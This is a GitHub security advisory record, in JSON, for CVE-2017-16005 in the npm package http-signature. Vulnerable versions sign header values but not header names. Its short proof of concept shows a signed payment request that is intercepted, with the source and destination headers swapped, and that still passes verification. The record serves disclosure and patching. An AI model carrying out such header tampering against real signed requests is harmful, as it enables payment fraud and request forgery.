{"id":"GHSA-q257-vv4p-fg92","summary":"Header Forgery in http-signature","details":"Affected versions of `http-signature` contain a vulnerability which can allow an attacker in a privileged network position to modify header names and change the meaning of the request, without requiring an updated signature. \n\nThis problem occurs because vulnerable versions of `http-signature` sign the contents of headers, but not the header names.\n\n## Proof of Concept\n\nConsider this to be the initial, untampered request:\n```http\nPOST /pay HTTP/1.1\nHost: example.com\nDate: Thu, 05 Jan 2012 21:31:40 GMT\nX-Payment-Source: src@money.com\nX-Payment-Destination: dst@money.com\nAuthorization: Signature keyId=\"Test\",algorithm=\"rsa-sha256\",headers=\"x-payment-source x-payment-destination\" MDyO5tSvin5...\n```\n\nAnd the request is intercepted and tampered as follows:\n```http\nX-Payment-Source: dst@money.com // Emails switched\nX-Payment-Destination: src@money.com\nAuthorization: Signature keyId=\"Test\",algorithm=\"rsa-sha256\",headers=\"x-payment-destination x-payment-source\" MDyO5tSvin5...\n```\n\nIn the resulting responses, both requests would pass signature verification without issue.\n```\nsrc@money.com\\n\ndst@money.com\\n\n```\n\n\n\n## Recommendation\n\nUpdate to version 0.10.0 or higher.","aliases":["CVE-2017-16005"],"modified":"2023-11-01T04:47:45.820582Z","published":"2018-11-09T17:49:34Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2020-06-16T21:50:21Z","nvd_published_at":null,"cwe_ids":["CWE-20"],"severity":"HIGH"},"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2017-16005"},{"type":"WEB","url":"https://github.com/joyent/node-http-signature/issues/10"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-q257-vv4p-fg92"},{"type":"WEB","url":"https://www.npmjs.com/advisories/318"}],"affected":[{"package":{"name":"http-signature","ecosystem":"npm","purl":"pkg:npm/http-signature"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.10.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2018/11/GHSA-q257-vv4p-fg92/GHSA-q257-vv4p-fg92.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"}]}